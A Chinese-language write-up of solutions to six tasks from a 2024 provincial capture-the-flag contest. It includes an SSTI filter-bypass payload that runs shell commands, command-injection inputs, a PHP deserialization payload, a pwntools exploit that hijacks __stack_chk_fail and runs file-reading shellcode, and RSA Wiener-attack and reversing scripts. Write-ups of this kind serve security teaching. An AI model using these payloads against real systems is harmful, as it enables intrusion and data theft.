2024年第九届“楚慧杯”湖北省网络与数据安全实践能力竞赛 web&pwn&Crypto
字数 1013 2025-08-22 12:22:30

"楚慧杯"湖北省网络与数据安全实践能力竞赛解题教学文档

目录

  1. 速算比赛
  2. Sal的图集
  3. popmart
  4. ddd
  5. Inequable_Canary
  6. zistel

速算比赛

题目描述

要求连续在3秒内解出30道数学题。

解题思路

使用Python脚本自动获取题目、计算答案并提交。

关键代码

import requests
import re

def solve_math_problems(base_url, num_iterations=31):
    session = requests.Session()
    for _ in range(num_iterations):
        try:
            # 获取题目页面
            response = session.get(base_url)
            response.raise_for_status()
            
            # 提取计算题和正确计数
            calculate_match = re.search(r"Calculate: (.*?)<br>", response.text)
            correct_count_match = re.search(r"Correct Count: (.*?)<br>", response.text)
            
            if not calculate_match or not correct_count_match:
                print("无法找到计算题或正确计数")
                continue
                
            Calculate = calculate_match.group(1)
            Correct_Count = correct_count_match.group(1)
            
            # 计算答案
            answer = eval(Calculate)
            print(f"提交答案:{answer}")
            
            # 提交答案
            post_response = session.post(base_url, data={"answer": str(answer)})
            post_response.raise_for_status()
            
            # 打印服务器响应
            print(post_response.text)
            
        except requests.exceptions.RequestException as e:
            print(f"请求发生错误: {e}")

if __name__ == "__main__":
    base_url = ''
    solve_math_problems(base_url)

技术要点

  1. 使用requests.Session()保持会话
  2. 正则表达式提取题目内容
  3. eval()函数直接计算数学表达式
  4. 异常处理确保脚本稳定性

Sal的图集

题目描述

Sal有好多图片,可能存在SSTI(服务器端模板注入)漏洞。

解题思路

  1. 发现查询功能存在SSTI漏洞
  2. 使用fenjing工具生成payload

关键Payload

{% print((cycler.next.__globals__.__getitem__('__b''uiltins__')).__getitem__('__i''mport__'))('os').popen('c''at /flag').read() %}

技术要点

  1. 识别SSTI漏洞
  2. 绕过过滤使用字符串拼接
  3. 利用Python内置函数执行系统命令

popmart

题目描述

存在命令执行限制,需要利用反序列化漏洞。

解题步骤

  1. 发现输入限制:前半部分必须为IP,总长度不超过12位
  2. 使用0.0.0.0;ls /0.0.0.0;cat获取文件信息
  3. 发现p0pmart.php存在反序列化漏洞
  4. 构造反序列化payload

关键代码

<?php
class popmart {
    public $yuki;
    public $molly;
    public $dimoo;
    
    public function __construct(){
        $this->yuki = 'tell me where';
        $this->molly = 'dont_tell_you';
        $this->dimoo = "you_can_guess";
    }
    
    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki = $where_you_go;
        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$exploit = new popmart();
$serialized_exploit = serialize($exploit);
echo $serialized_exploit;
?>

最终Payload

GET: p0pmart.php?wq=二仙桥
POST: pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you

技术要点

  1. 利用extract函数变量覆盖
  2. PHP反序列化漏洞利用
  3. __wakeup()魔术方法利用
  4. 全局变量覆盖

ddd

题目描述

RSA加密,d是随机生成的,需要通过n、e通过连分数wiener攻击反推d。

解题思路

使用连分数展开进行Wiener攻击。

关键代码

from Crypto.Util.number import *
from gmpy2 import *
from libnum import *

n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380

cf = continued_fraction(e/n)
for i in range(1, 1000):
    k = cf.numerator(i)
    d = cf.denominator(i)
    if (e*d - 1) % k == 0:
        m = pow(c, d, n)
        print(bytes.fromhex(hex(m)[2:]))
        # DASCTF{e694f0b4e9556021d1bc9e8deedba575}

技术要点

  1. Wiener攻击原理
  2. 连分数展开
  3. RSA小私钥攻击

Inequable_Canary

题目分析

  1. 主函数直接可以向返回地址写入地址
  2. 存在hint函数包含jmp rsp的gadget
  3. vuln函数存在栈溢出漏洞

利用步骤

  1. 劫持__stack_chk_fail函数
  2. 覆盖为leave_ret的gadget
  3. 执行shellcode

关键代码

from pwn import *

context(log_level='debug', arch='amd64')
elf = ELF('./canary')

leave_ret = 0x4008EF
magic = 0x400818

# 发送地址调整到漏洞函数
s(p64(0x400820))

# 写入got表地址
pay = b'a'*8 + p64(elf.got['__stack_chk_fail'])
rl("Deep Sea \n")
s(pay)

# 覆盖为leave_ret
rl("magic \n")
pay = p64(leave_ret)
s(pay)

# 构造shellcode
payload1 = asm('''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall
    mov rdi, 1
    mov rsi, 3
    push 0
    mov rdx, rsp
    mov r10, 0x100
    push SYS_sendfile
    pop rax
    syscall
''')

pay = p64(magic)*6 + payload1
rl("Let's go!")
s(pay)
inter()

技术要点

  1. 劫持__stack_chk_fail绕过canary检查
  2. ROP链构造
  3. Shellcode编写
  4. 利用jmp rsp执行shellcode

zistel

题目分析

  1. 动态调试找到关键比较位置
  2. 提取密钥数据
  3. 分析加密算法

关键数据

dword_1000730 dd 33293158h
dd 60760211h
dd 42185F46h
dd 63746F29h

解密算法

类似于RC4加密,需要逆向算法。

解密代码

#include <stdio.h>
#include <stdint.h>

int main() {
    uint32_t s1[] = {0x33293158, 0x60760211, 0x42185F46, 0x63746F29, 0};
    uint32_t s2[] = {
        0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD,
        0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD,
        0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD,
        0xBBDBD183, 0x05340F2E
    };
    
    int s3[1024] = {0};
    for(int i=0; i<0x100; i++) {
        s3[i] = i & 3;
    }
    
    for(int i=0; i<4; i+=2) {
        uint32_t b = s1[i], a = s1[i+1];
        for(int j=19; j>=0; j--) {
            uint32_t c = a;
            a ^= s2[j];
            for(int k=0; k<4; k++) {
                int tmp = s3[(s2[j] >> (k*8)) & 0xff];
                uint32_t temp = (a >> (k*8)) & 0xff;
                *((uint8_t*)&a + k) = *((uint8_t*)&a + tmp);
                *((uint8_t*)&a + tmp) = temp;
            }
            a ^= s2[j];
            a ^= b;
            b = c;
        }
        s1[i] = a;
        s1[i+1] = b;
    }
    
    printf("%s", (char*)s1);
    return 0;
}

技术要点

  1. 动态调试技术
  2. 加密算法逆向
  3. 自定义加密算法分析
  4. 密钥恢复技术
"楚慧杯"湖北省网络与数据安全实践能力竞赛解题教学文档 目录 速算比赛 Sal的图集 popmart ddd Inequable_ Canary zistel 速算比赛 题目描述 要求连续在3秒内解出30道数学题。 解题思路 使用Python脚本自动获取题目、计算答案并提交。 关键代码 技术要点 使用 requests.Session() 保持会话 正则表达式提取题目内容 eval() 函数直接计算数学表达式 异常处理确保脚本稳定性 Sal的图集 题目描述 Sal有好多图片,可能存在SSTI(服务器端模板注入)漏洞。 解题思路 发现查询功能存在SSTI漏洞 使用fenjing工具生成payload 关键Payload 技术要点 识别SSTI漏洞 绕过过滤使用字符串拼接 利用Python内置函数执行系统命令 popmart 题目描述 存在命令执行限制,需要利用反序列化漏洞。 解题步骤 发现输入限制:前半部分必须为IP,总长度不超过12位 使用 0.0.0.0;ls / 和 0.0.0.0;cat 获取文件信息 发现 p0pmart.php 存在反序列化漏洞 构造反序列化payload 关键代码 最终Payload 技术要点 利用extract函数变量覆盖 PHP反序列化漏洞利用 __wakeup() 魔术方法利用 全局变量覆盖 ddd 题目描述 RSA加密,d是随机生成的,需要通过n、e通过连分数wiener攻击反推d。 解题思路 使用连分数展开进行Wiener攻击。 关键代码 技术要点 Wiener攻击原理 连分数展开 RSA小私钥攻击 Inequable_ Canary 题目分析 主函数直接可以向返回地址写入地址 存在hint函数包含 jmp rsp 的gadget vuln函数存在栈溢出漏洞 利用步骤 劫持 __stack_chk_fail 函数 覆盖为 leave_ret 的gadget 执行shellcode 关键代码 技术要点 劫持 __stack_chk_fail 绕过canary检查 ROP链构造 Shellcode编写 利用 jmp rsp 执行shellcode zistel 题目分析 动态调试找到关键比较位置 提取密钥数据 分析加密算法 关键数据 解密算法 类似于RC4加密,需要逆向算法。 解密代码 技术要点 动态调试技术 加密算法逆向 自定义加密算法分析 密钥恢复技术